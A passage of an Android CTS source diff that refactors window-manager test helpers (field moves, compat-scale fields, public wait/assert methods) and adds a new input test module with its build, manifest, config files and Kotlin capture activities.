@@ -1482,6 +1653,8 @@
 
     static abstract class WindowContainer extends ConfigurationContainer {
 
+        protected String mName;
+        protected final String mAppToken;
         protected boolean mFullscreen;
         protected Rect mBounds;
         protected int mOrientation;
@@ -1491,6 +1664,9 @@
 
         WindowContainer(WindowContainerProto proto) {
             super(proto.configurationContainer);
+            IdentifierProto identifierProto = proto.identifier;
+            mName = identifierProto.title;
+            mAppToken = Integer.toHexString(identifierProto.hashCode);
             mOrientation = proto.orientation;
             for (int i = 0; i < proto.children.length; i++) {
                 final WindowContainer child = getWindowContainer(proto.children[i], this);
@@ -1501,6 +1677,15 @@
             mVisible = proto.visible;
         }
 
+        @NonNull
+        public String getName() {
+            return mName;
+        }
+
+        String getToken() {
+            return mAppToken;
+        }
+
         Rect getBounds() {
             return mBounds;
         }
@@ -1525,8 +1710,6 @@
         private static final int WINDOW_TYPE_EXITING = 2;
         private static final int WINDOW_TYPE_DEBUGGER = 3;
 
-        private String mName;
-        private final String mAppToken;
         private final int mWindowType;
         private int mType = 0;
         private int mDisplayId;
@@ -1535,18 +1718,18 @@
         private boolean mShown;
         private Rect mContainingFrame;
         private Rect mParentFrame;
-        private Rect mContentFrame;
         private Rect mFrame;
+        private Rect mCompatFrame;
         private Rect mSurfaceInsets = new Rect();
-        private Rect mContentInsets = new Rect();
         private Rect mGivenContentInsets = new Rect();
         private Rect mCrop = new Rect();
+        private boolean mHasCompatScale;
+        private float mGlobalScale;
+        private int mRequestedWidth;
+        private int mRequestedHeight;
 
         WindowState(WindowStateProto proto) {
             super(proto.windowContainer);
-            IdentifierProto identifierProto = proto.identifier;
-            mName = identifierProto.title;
-            mAppToken = Integer.toHexString(identifierProto.hashCode);
             mDisplayId = proto.displayId;
             mStackId = proto.stackId;
             if (proto.attributes != null) {
@@ -1567,8 +1750,7 @@
                 mFrame = extract(windowFramesProto.frame);
                 mContainingFrame = extract(windowFramesProto.containingFrame);
                 mParentFrame = extract(windowFramesProto.parentFrame);
-                mContentFrame = extract(windowFramesProto.contentFrame);
-                mContentInsets = extract(windowFramesProto.contentInsets);
+                mCompatFrame = extract(windowFramesProto.compatFrame);
             }
             mSurfaceInsets = extract(proto.surfaceInsets);
             if (mName.startsWith(STARTING_WINDOW_PREFIX)) {
@@ -1584,15 +1766,10 @@
                 mWindowType = 0;
             }
             collectDescendantsOfType(WindowState.class, this, mSubWindows);
-        }
-
-        @NonNull
-        public String getName() {
-            return mName;
-        }
-
-        String getToken() {
-            return mAppToken;
+            mHasCompatScale = proto.hasCompatScale;
+            mGlobalScale = proto.globalScale;
+            mRequestedWidth = proto.requestedWidth;
+            mRequestedHeight = proto.requestedHeight;
         }
 
         boolean isStartingWindow() {
@@ -1627,22 +1804,18 @@
             return mSurfaceInsets;
         }
 
-        Rect getContentInsets() {
-            return mContentInsets;
-        }
-
         Rect getGivenContentInsets() {
             return mGivenContentInsets;
         }
 
-        public Rect getContentFrame() {
-            return mContentFrame;
-        }
-
         Rect getParentFrame() {
             return mParentFrame;
         }
 
+        public Rect getCompatFrame() {
+            return mCompatFrame;
+        }
+
         Rect getCrop() {
             return mCrop;
         }
@@ -1655,6 +1828,22 @@
             return mType;
         }
 
+        public boolean hasCompatScale() {
+            return mHasCompatScale;
+        }
+
+        public float getGlobalScale() {
+            return mGlobalScale;
+        }
+
+        public int getRequestedWidth() {
+            return mRequestedWidth;
+        }
+
+        public int getRequestedHeight() {
+            return mRequestedHeight;
+        }
+
         private String getWindowTypeSuffix(int windowType) {
             switch (windowType) {
                 case WINDOW_TYPE_STARTING:
@@ -1675,6 +1864,11 @@
                     + getWindowTypeSuffix(mWindowType) + "}" + " type=" + mType
                     + " cf=" + mContainingFrame + " pf=" + mParentFrame;
         }
+
+        public String toLongString() {
+            return toString() + " f=" + mFrame + " crop=" + mCrop + " isSurfaceShown="
+                    + isSurfaceShown();
+        }
     }
 
     static int dpToPx(float dp, int densityDpi) {
@@ -1684,4 +1878,9 @@
     int defaultMinimalTaskSize(int displayId) {
         return dpToPx(DEFAULT_RESIZABLE_TASK_SIZE_DP, getDisplay(displayId).getDpi());
     }
+
+    int defaultMinimalDisplaySizeForSplitScreen(int displayId) {
+        return dpToPx(ActivityTaskManager.DEFAULT_MINIMAL_SPLIT_SCREEN_DISPLAY_SIZE_DP,
+                getDisplay(displayId).getDpi());
+    }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index e530dd4..cd351ae 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -18,7 +18,6 @@
 
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ComponentNameUtils.getWindowName;
@@ -46,14 +45,16 @@
 
 import java.util.Arrays;
 import java.util.List;
+import java.util.Objects;
 import java.util.function.Consumer;
+import java.util.function.Function;
 import java.util.function.Predicate;
 
 /** Window Manager State helper class with assert and wait functions. */
 public class WindowManagerStateHelper extends WindowManagerState {
 
     /**
-     * Compute AM and WM state of device, check sanity and bounds.
+     * Compute AM and WM state of device, check validity and bounds.
      * WM state will include only visible windows, stack and task bounds will be compared.
      *
      * @param componentNames array of activity names to wait for.
@@ -65,7 +66,7 @@
     }
 
     /**
-     * Compute AM and WM state of device, check sanity and bounds.
+     * Compute AM and WM state of device, check validity and bounds.
      * WM state will include only visible windows, stack and task bounds will be compared.
      *
      * @param waitForActivitiesVisible array of activity names to wait for.
@@ -90,12 +91,12 @@
      * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
      * @param waitForActivitiesVisible  array of activity states to wait for.
      */
-    void waitForValidState(WaitForValidActivityState... waitForActivitiesVisible) {
+    public void waitForValidState(WaitForValidActivityState... waitForActivitiesVisible) {
         if (!Condition.waitFor("valid stacks and activities states", () -> {
             // TODO: Get state of AM and WM at the same time to avoid mismatches caused by
             // requesting dump in some intermediate state.
             computeState();
-            return !(shouldWaitForSanityCheck()
+            return !(shouldWaitForValidityCheck()
                     || shouldWaitForValidStacks()
                     || shouldWaitForActivities(waitForActivitiesVisible)
                     || shouldWaitForWindows());
@@ -104,7 +105,7 @@
         }
     }
 
-    void waitForAllStoppedActivities() {
+    public void waitForAllStoppedActivities() {
         if (!Condition.waitFor("all started activities have been removed", () -> {
             computeState();
             return !containsStartedActivities();
@@ -121,7 +122,7 @@
      * waiting-for-debugger window, but real activity window won't show up since we're waiting
      * for debugger.
      */
-    void waitForDebuggerWindowVisible(ComponentName activityName) {
+    public void waitForDebuggerWindowVisible(ComponentName activityName) {
         Condition.waitFor("debugger window", () -> {
             computeState();
             return !shouldWaitForDebuggerWindow(activityName)
@@ -129,7 +130,7 @@
         });
     }
 
-    void waitForHomeActivityVisible() {
+    public void waitForHomeActivityVisible() {
         ComponentName homeActivity = getHomeActivityName();
         // Sometimes this function is called before we know what Home Activity is
         if (homeActivity == null) {
@@ -142,7 +143,7 @@
     }
 
     /** @return {@code true} if the recents is visible; {@code false} if timeout occurs. */
-    boolean waitForRecentsActivityVisible() {
+    public boolean waitForRecentsActivityVisible() {
         if (isHomeRecentsComponent()) {
             waitForHomeActivityVisible();
             return true;
@@ -152,28 +153,33 @@
         }
     }
 
-    void waitForKeyguardShowingAndNotOccluded() {
+    public void waitForDreamGone() {
+        assertTrue("Dream must be gone",
+                waitForWithAmState(state -> state.getDreamTask() == null, "DreamActivity gone"));
+    }
+
+    public void waitForKeyguardShowingAndNotOccluded() {
         waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
                         && !state.getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY),
                 "Keyguard showing");
     }
 
-    void waitForKeyguardShowingAndOccluded() {
+    public void waitForKeyguardShowingAndOccluded() {
         waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
                         && state.getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY),
                 "Keyguard showing and occluded");
     }
 
-    void waitForAodShowing() {
+    public void waitForAodShowing() {
         waitForWithAmState(state -> state.getKeyguardControllerState().aodShowing, "AOD showing");
     }
 
-    void waitForKeyguardGone() {
+    public void waitForKeyguardGone() {
         waitForWithAmState(state -> !state.getKeyguardControllerState().keyguardShowing,
                 "Keyguard gone");
     }
 
-    void waitAndAssertKeyguardGone() {
+    public void waitAndAssertKeyguardGone() {
         assertTrue("Keyguard must be gone",
                 waitForWithAmState(
                         state -> !state.getKeyguardControllerState().keyguardShowing,
@@ -181,7 +187,7 @@
     }
 
     /** Wait for specific rotation for the default display. Values are Surface#Rotation */
-    void waitForRotation(int rotation) {
+    public void waitForRotation(int rotation) {
         waitForWithAmState(state -> state.getRotation() == rotation, "Rotation: " + rotation);
     }
 
@@ -189,12 +195,12 @@
      * Wait for specific orientation for the default display.
      * Values are ActivityInfo.ScreenOrientation
      */
-    void waitForLastOrientation(int orientation) {
+    public void waitForLastOrientation(int orientation) {
         waitForWithAmState(state -> state.getLastOrientation() == orientation,
                 "LastOrientation: " + orientation);
     }
 
-    void waitAndAssertLastOrientation(String message, int screenOrientation) {
+    public void waitAndAssertLastOrientation(String message, int screenOrientation) {
         if (screenOrientation != getLastOrientation()) {
             waitForLastOrientation(screenOrientation);
         }
@@ -204,7 +210,7 @@
     /**
      * Wait for orientation for the Activity
      */
-    void waitForActivityOrientation(ComponentName activityName, int orientation) {
+    public void waitForActivityOrientation(ComponentName activityName, int orientation) {
         waitForWithAmState(amState -> {
             final ActivityTask task = amState.getTaskByActivity(activityName);
             if (task == null) {
@@ -214,7 +220,7 @@
         }, "orientation of " + getActivityName(activityName) + " to be " + orientation);
     }
 
-    void waitForDisplayUnfrozen() {
+    public void waitForDisplayUnfrozen() {
         waitForWithAmState(state -> !state.isDisplayFrozen(), "Display unfrozen");
     }
 
@@ -229,12 +235,12 @@
                 getActivityName(activityName) + " to be removed");
     }
 
-    void waitAndAssertActivityRemoved(ComponentName activityName) {
+    public void waitAndAssertActivityRemoved(ComponentName activityName) {
         waitForActivityRemoved(activityName);
         assertNotExist(activityName);
     }
 
-    void waitForFocusedStack(int windowingMode, int activityType) {
+    public void waitForFocusedStack(int windowingMode, int activityType) {
         waitForWithAmState(state ->
                         (activityType == ACTIVITY_TYPE_UNDEFINED
                                 || state.getFocusedStackActivityType() == activityType)
@@ -243,32 +249,39 @@
                 "focused stack");
     }
 
-    void waitForPendingActivityContain(ComponentName activity) {
+    public void waitForPendingActivityContain(ComponentName activity) {
         waitForWithAmState(state -> state.pendingActivityContain(activity),
                 getActivityName(activity) + " in pending list");
     }
 
-    void waitForAppTransitionIdleOnDisplay(int displayId) {
-        waitForWithAmState(
+    public boolean waitForAppTransitionRunningOnDisplay(int displayId) {
+        return waitForWithAmState(
+                state -> WindowManagerState.APP_STATE_RUNNING.equals(
+                        state.getDisplay(displayId).getAppTransitionState()),
+                "app transition running on Display " + displayId);
+    }
+
+    public boolean waitForAppTransitionIdleOnDisplay(int displayId) {
+        return waitForWithAmState(
                 state -> WindowManagerState.APP_STATE_IDLE.equals(
                         state.getDisplay(displayId).getAppTransitionState()),
                 "app transition idle on Display " + displayId);
     }
 
-    void waitAndAssertNavBarShownOnDisplay(int displayId) {
+    public void waitAndAssertNavBarShownOnDisplay(int displayId) {
         assertTrue(waitForWithAmState(
                 state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null,
                 "navigation bar #" + displayId + " show"));
     }
 
-    void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) {
+    public void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) {
         assertTrue("KeyguardDialog must be shown on secondary display " + displayId,
                 waitForWithAmState(
                         state -> isKeyguardOnSecondaryDisplay(state, displayId),
                         "keyguard window to show"));
     }
 
-    void waitAndAssertKeyguardGoneOnSecondaryDisplay(int displayId) {
+    public void waitAndAssertKeyguardGoneOnSecondaryDisplay(int displayId) {
         assertTrue("KeyguardDialog must be gone on secondary display " + displayId,
                 waitForWithAmState(
                         state -> !isKeyguardOnSecondaryDisplay(state, displayId),
@@ -281,6 +294,17 @@
         }, windowName + "'s surface is disappeared");
     }
 
+    void waitAndAssertWindowSurfaceShown(String windowName, boolean shown) {
+        assertTrue(
+                waitForWithAmState(state -> state.isWindowSurfaceShown(windowName) == shown,
+                        windowName + "'s  isWindowSurfaceShown to return " + shown));
+    }
+
+    /** A variant of waitForWithAmState with different parameter order for better Kotlin interop. */
+    public boolean waitForWithAmState(String message, Predicate<WindowManagerState> waitCondition) {
+        return waitForWithAmState(waitCondition, message);
+    }
+
     public boolean waitForWithAmState(Predicate<WindowManagerState> waitCondition,
             String message) {
         return waitFor((amState) -> waitCondition.test(amState), message);
@@ -294,14 +318,34 @@
         }, message);
     }
 
+    /** A variant of waitFor with different parameter order for better Kotlin interop. */
+    public boolean waitFor(String message, Predicate<WindowManagerState> waitCondition) {
+        return waitFor(waitCondition, message);
+    }
+
     /** @return {@code true} if the wait is successful; {@code false} if timeout occurs. */
-    boolean waitFor(Predicate<WindowManagerState> waitCondition, String message) {
+    public boolean waitFor(Predicate<WindowManagerState> waitCondition, String message) {
         return Condition.waitFor(message, () -> {
             computeState();
             return waitCondition.test(this);
         });
     }
 
+    /** Waits for non-null result from {@code function} and returns it. */
+    public <T> T waitForResult(String message, Function<WindowManagerState, T> function) {
+        return waitForResult(message, function, Objects::nonNull);
+    }
+
+    public <T> T waitForResult(String message, Function<WindowManagerState, T> function,
+            Predicate<T> validator) {
+        return Condition.waitForResult(new Condition<T>(message)
+                .setResultSupplier(() -> {
+                    computeState();
+                    return function.apply(this);
+                })
+                .setResultValidator(validator));
+    }
+
     /**
      * @return true if should wait for valid stacks state.
      */
@@ -323,7 +367,7 @@
         return false;
     }
 
-    void waitAndAssertAppFocus(String appPackageName, long waitTime) {
+    public void waitAndAssertAppFocus(String appPackageName, long waitTime) {
         final Condition<String> condition = new Condition<>(appPackageName + " to be focused");
         Condition.waitFor(condition.setResultSupplier(() -> {
             computeState();
@@ -436,17 +480,17 @@
         return false;
     }
 
-    private boolean shouldWaitForSanityCheck() {
+    private boolean shouldWaitForValidityCheck() {
         try {
-            assertSanity();
+            assertValidity();
         } catch (Throwable t) {
-            logAlways("Waiting for sanity check: " + t.toString());
+            logAlways("Waiting for validity check: " + t.toString());
             return true;
         }
         return false;
     }
 
-    void assertSanity() {
+    void assertValidity() {
         assertThat("Must have stacks", getStackCount(), greaterThan(0));
         // TODO: Update when keyguard will be shown on multiple displays
         if (!getKeyguardControllerState().keyguardShowing) {
@@ -467,11 +511,11 @@
         assertNotNull("Must have app.", getFocusedApp());
     }
 
-    void assertContainsStack(String msg, int windowingMode, int activityType) {
+    public void assertContainsStack(String msg, int windowingMode, int activityType) {
         assertTrue(msg, containsStack(windowingMode, activityType));
     }
 
-    void assertDoesNotContainStack(String msg, int windowingMode, int activityType) {
+    public void assertDoesNotContainStack(String msg, int windowingMode, int activityType) {
         assertFalse(msg, containsStack(windowingMode, activityType));
     }
 
@@ -479,7 +523,8 @@
         assertFrontStackOnDisplay(msg, windowingMode, activityType, DEFAULT_DISPLAY);
     }
 
-    void assertFrontStackOnDisplay(String msg, int windowingMode, int activityType, int displayId) {
+    public void assertFrontStackOnDisplay(String msg, int windowingMode, int activityType,
+            int displayId) {
         if (windowingMode != WINDOWING_MODE_UNDEFINED) {
             assertEquals(msg, windowingMode,
                     getFrontStackWindowingMode(displayId));
@@ -489,7 +534,7 @@
         }
     }
 
-    void assertFrontStackActivityType(String msg, int activityType) {
+    public void assertFrontStackActivityType(String msg, int activityType) {
         assertEquals(msg, activityType, getFrontStackActivityType(DEFAULT_DISPLAY));
     }
 
@@ -512,13 +557,13 @@
         assertEquals(msg, activityComponentName, getFocusedApp());
     }
 
-    void assertFocusedAppOnDisplay(final String msg, final ComponentName activityName,
+    public void assertFocusedAppOnDisplay(final String msg, final ComponentName activityName,
             final int displayId) {
         final String activityComponentName = getActivityName(activityName);
         assertEquals(msg, activityComponentName, getDisplay(displayId).getFocusedApp());
     }
 
-    void assertNotFocusedActivity(String msg, ComponentName activityName) {
+    public void assertNotFocusedActivity(String msg, ComponentName activityName) {
         assertNotEquals(msg, getFocusedActivity(), getActivityName(activityName));
         assertNotEquals(msg, getFocusedApp(), getActivityName(activityName));
     }
@@ -542,19 +587,19 @@
         }
     }
 
-    void assertNotResumedActivity(String msg, ComponentName activityName) {
+    public void assertNotResumedActivity(String msg, ComponentName activityName) {
         assertNotEquals(msg, getFocusedActivity(), getActivityName(activityName));
     }
 
-    void assertFocusedWindow(String msg, String windowName) {
+    public void assertFocusedWindow(String msg, String windowName) {
         assertEquals(msg, windowName, getFocusedWindow());
     }
 
-    void assertNotFocusedWindow(String msg, String windowName) {
+    public void assertNotFocusedWindow(String msg, String windowName) {
         assertNotEquals(msg, getFocusedWindow(), windowName);
     }
 
-    void assertNotExist(final ComponentName activityName) {
+    public void assertNotExist(final ComponentName activityName) {
         final String windowName = getWindowName(activityName);
         assertFalse("Activity=" + getActivityName(activityName) + " must NOT exist.",
                 containsActivity(activityName));
@@ -584,7 +629,7 @@
                 visible, isWindowSurfaceShown(windowName));
     }
 
-    void assertHomeActivityVisible(boolean visible) {
+    public void assertHomeActivityVisible(boolean visible) {
         final ComponentName homeActivity = getHomeActivityName();
         assertNotNull(homeActivity);
         assertVisibility(homeActivity, visible);
@@ -593,7 +638,7 @@
     /**
      * Asserts that the device default display minimim width is larger than the minimum task width.
      */
-    void assertDeviceDefaultDisplaySize(String errorMessage) {
+    void assertDeviceDefaultDisplaySizeForMultiWindow(String errorMessage) {
         computeState();
         final int minTaskSizePx = defaultMinimalTaskSize(DEFAULT_DISPLAY);
         final WindowManagerState.DisplayContent display = getDisplay(DEFAULT_DISPLAY);
@@ -603,6 +648,20 @@
         }
     }
 
+    /**
+     * Asserts that the device default display minimum width is not smaller than the minimum width
+     * for split-screen required by CDD.
+     */
+    void assertDeviceDefaultDisplaySizeForSplitScreen(String errorMessage) {
+        computeState();
+        final int minDisplaySizePx = defaultMinimalDisplaySizeForSplitScreen(DEFAULT_DISPLAY);
+        final WindowManagerState.DisplayContent display = getDisplay(DEFAULT_DISPLAY);
+        final Rect displayRect = display.getDisplayRect();
+        if (Math.max(displayRect.width(), displayRect.height()) < minDisplaySizePx) {
+            fail(errorMessage);
+        }
+    }
+
     public void assertKeyguardShowingAndOccluded() {
         assertTrue("Keyguard is showing",
                 getKeyguardControllerState().keyguardShowing);
@@ -642,12 +701,17 @@
                 getKeyguardControllerState().aodShowing);
     }
 
-    public void assertNoneEmptyTasks() {
+    public void assertIllegalTaskState() {
         computeState();
         final List<ActivityTask> tasks = getRootTasks();
         for (ActivityTask task : tasks) {
             task.forAllTasks((t) -> assertWithMessage("Empty task was found, id = " + t.mTaskId)
                     .that(t.mTasks.size() + t.mActivities.size()).isGreaterThan(0));
+            if (task.isLeafTask()) {
+                continue;
+            }
+            assertWithMessage("Non-leaf task cannot have affinity set, id = " + task.mTaskId)
+                    .that(task.mAffinity).isEmpty();
         }
     }
 
@@ -661,7 +725,7 @@
 
     public void assertWindowDisplayed(final String windowName) {
         waitForValidState(WaitForValidActivityState.forWindow(windowName));
-        assertTrue(windowName + "is visible", isWindowSurfaceShown(windowName));
+        assertTrue(windowName + " is visible", isWindowSurfaceShown(windowName));
     }
 
     void waitAndAssertImeWindowShownOnDisplay(int displayId) {
@@ -683,12 +747,6 @@
         return getInputMethodWindowState();
     }
 
-    boolean isScreenPortrait() {
-        final int displayId = getStandardStackByWindowingMode(
-            WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).mDisplayId;
-        return isScreenPortrait(displayId);
-    }
-
     boolean isScreenPortrait(int displayId) {
         final Rect displayRect = getDisplay(displayId).getDisplayRect();
         return displayRect.height() > displayRect.width();
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
index 710b920..fb52381 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
@@ -21,6 +21,7 @@
 import android.content.ContentResolver;
 import android.net.Uri;
 import android.provider.Settings.SettingNotFoundException;
+import android.server.wm.NestedShellPermission;
 import android.util.Log;
 
 import androidx.annotation.NonNull;
@@ -142,7 +143,7 @@
     }
 
     private static <T> void put(final Uri uri, final SettingsSetter<T> setter, T value) {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
+        NestedShellPermission.run(() -> {
             setter.set(getContentResolver(), uri.getLastPathSegment(), value);
         });
     }
@@ -152,7 +153,7 @@
         return getter.get(getContentResolver(), uri.getLastPathSegment());
     }
 
-    protected static void delete(final Uri uri) {
+    public static void delete(final Uri uri) {
         final List<String> segments = uri.getPathSegments();
         if (segments.size() != 2) {
             Log.w(TAG, "Unsupported uri for deletion: " + uri, new Throwable());
diff --git a/tests/input/Android.bp b/tests/input/Android.bp
new file mode 100644
index 0000000..57526bc
--- /dev/null
+++ b/tests/input/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsInputTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    compile_multilib: "both",
+    srcs: ["src/**/*.kt"],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/input/AndroidManifest.xml b/tests/input/AndroidManifest.xml
new file mode 100644
index 0000000..f019c8f
--- /dev/null
+++ b/tests/input/AndroidManifest.xml
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.input.cts">
+
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+
+    <application android:label="InputTest">
+        <activity android:name=".OverlayActivity"
+                  android:label="Overlay activity"
+                  android:process=":externalProcess"
+                  android:theme="@android:style/Theme.Dialog"
+                  android:exported="true">
+            <layout android:defaultHeight="100dp"
+                    android:defaultWidth="100dp"
+                    android:gravity="bottom"
+                    android:minHeight="100dp"
+                    android:minWidth="100dp" />
+        </activity>
+        <receiver android:name=".OverlayFocusedBroadcastReceiver" android:exported="true">
+            <intent-filter>
+                <action android:name="android.input.cts.action.OVERLAY_ACTIVITY_FOCUSED"/>
+            </intent-filter>
+        </receiver>
+
+        <activity android:name="android.input.cts.IncompleteMotionActivity"
+                  android:label="IncompleteMotion activity"
+                  android:turnScreenOn="true">
+        </activity>
+        <activity android:name="android.input.cts.CaptureEventActivity"
+                  android:label="Capture events"
+                  android:turnScreenOn="true">
+        </activity>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.input.cts"
+         android:label="Tests for input APIs and behaviours.">
+    </instrumentation>
+</manifest>
diff --git a/tests/input/AndroidTest.xml b/tests/input/AndroidTest.xml
new file mode 100644
index 0000000..70b9d5d
--- /dev/null
+++ b/tests/input/AndroidTest.xml
@@ -0,0 +1,31 @@
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS input test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsInputTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.input.cts" />
+        <option name="runtime-hint" value="14s" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
+    </test>
+</configuration>
diff --git a/tests/input/OWNERS b/tests/input/OWNERS
new file mode 100644
index 0000000..8ed76d2
--- /dev/null
+++ b/tests/input/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 136048
+arthurhung@google.com
+lzye@google.com
+michaelwr@google.com
+svv@google.com
diff --git a/tests/input/TEST_MAPPING b/tests/input/TEST_MAPPING
new file mode 100644
index 0000000..dda3e83
--- /dev/null
+++ b/tests/input/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsInputTestCases"
+    }
+  ]
+}
diff --git a/tests/input/src/android/input/cts/CaptureEventActivity.kt b/tests/input/src/android/input/cts/CaptureEventActivity.kt
new file mode 100644
index 0000000..4f5caad
--- /dev/null
+++ b/tests/input/src/android/input/cts/CaptureEventActivity.kt
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.input.cts
+
+import android.app.Activity
+import android.view.InputEvent
+import android.view.KeyEvent
+import android.view.MotionEvent
+import java.util.concurrent.LinkedBlockingQueue
+import java.util.concurrent.TimeUnit
+
+class CaptureEventActivity : Activity() {
+    private val mEvents = LinkedBlockingQueue<InputEvent>()
+
+    override fun dispatchGenericMotionEvent(ev: MotionEvent?): Boolean {
+        mEvents.add(MotionEvent.obtain(ev))
+        return true
+    }
+
+    override fun dispatchTouchEvent(ev: MotionEvent?): Boolean {
+        mEvents.add(MotionEvent.obtain(ev))
+        return true
+    }
+
+    override fun dispatchKeyEvent(event: KeyEvent?): Boolean {
+        mEvents.add(KeyEvent(event))
+        return true
+    }
+
+    override fun dispatchTrackballEvent(ev: MotionEvent?): Boolean {
+        mEvents.add(MotionEvent.obtain(ev))
+        return true
+    }
+
+    fun getLastInputEvent(): InputEvent? {
+        return mEvents.poll(5, TimeUnit.SECONDS)
+    }
+}
diff --git a/tests/input/src/android/input/cts/IncompleteMotionActivity.kt b/tests/input/src/android/input/cts/IncompleteMotionActivity.kt
new file mode 100644
index 0000000..ac7cc3b
--- /dev/null
+++ b/tests/input/src/android/input/cts/IncompleteMotionActivity.kt
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.input.cts
+
+import android.app.Activity
+import android.view.MotionEvent
+import java.util.concurrent.atomic.AtomicBoolean
+
+class IncompleteMotionActivity : Activity() {
+    private val mReceivedMove = AtomicBoolean(false)
+    override fun onTouchEvent(event: MotionEvent): Boolean {
+        if (event.action == MotionEvent.ACTION_MOVE) {
+            mReceivedMove.set(true)
+        }
+        return true
+    }
+
+    fun receivedMove(): Boolean {
+        return mReceivedMove.get()
+    }
+}
diff --git a/tests/input/src/android/input/cts/IncompleteMotionTest.kt b/tests/input/src/android/input/cts/IncompleteMotionTest.kt
new file mode 100644
index 0000000..26ae69a
--- /dev/null
+++ b/tests/input/src/android/input/cts/IncompleteMotionTest.kt
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
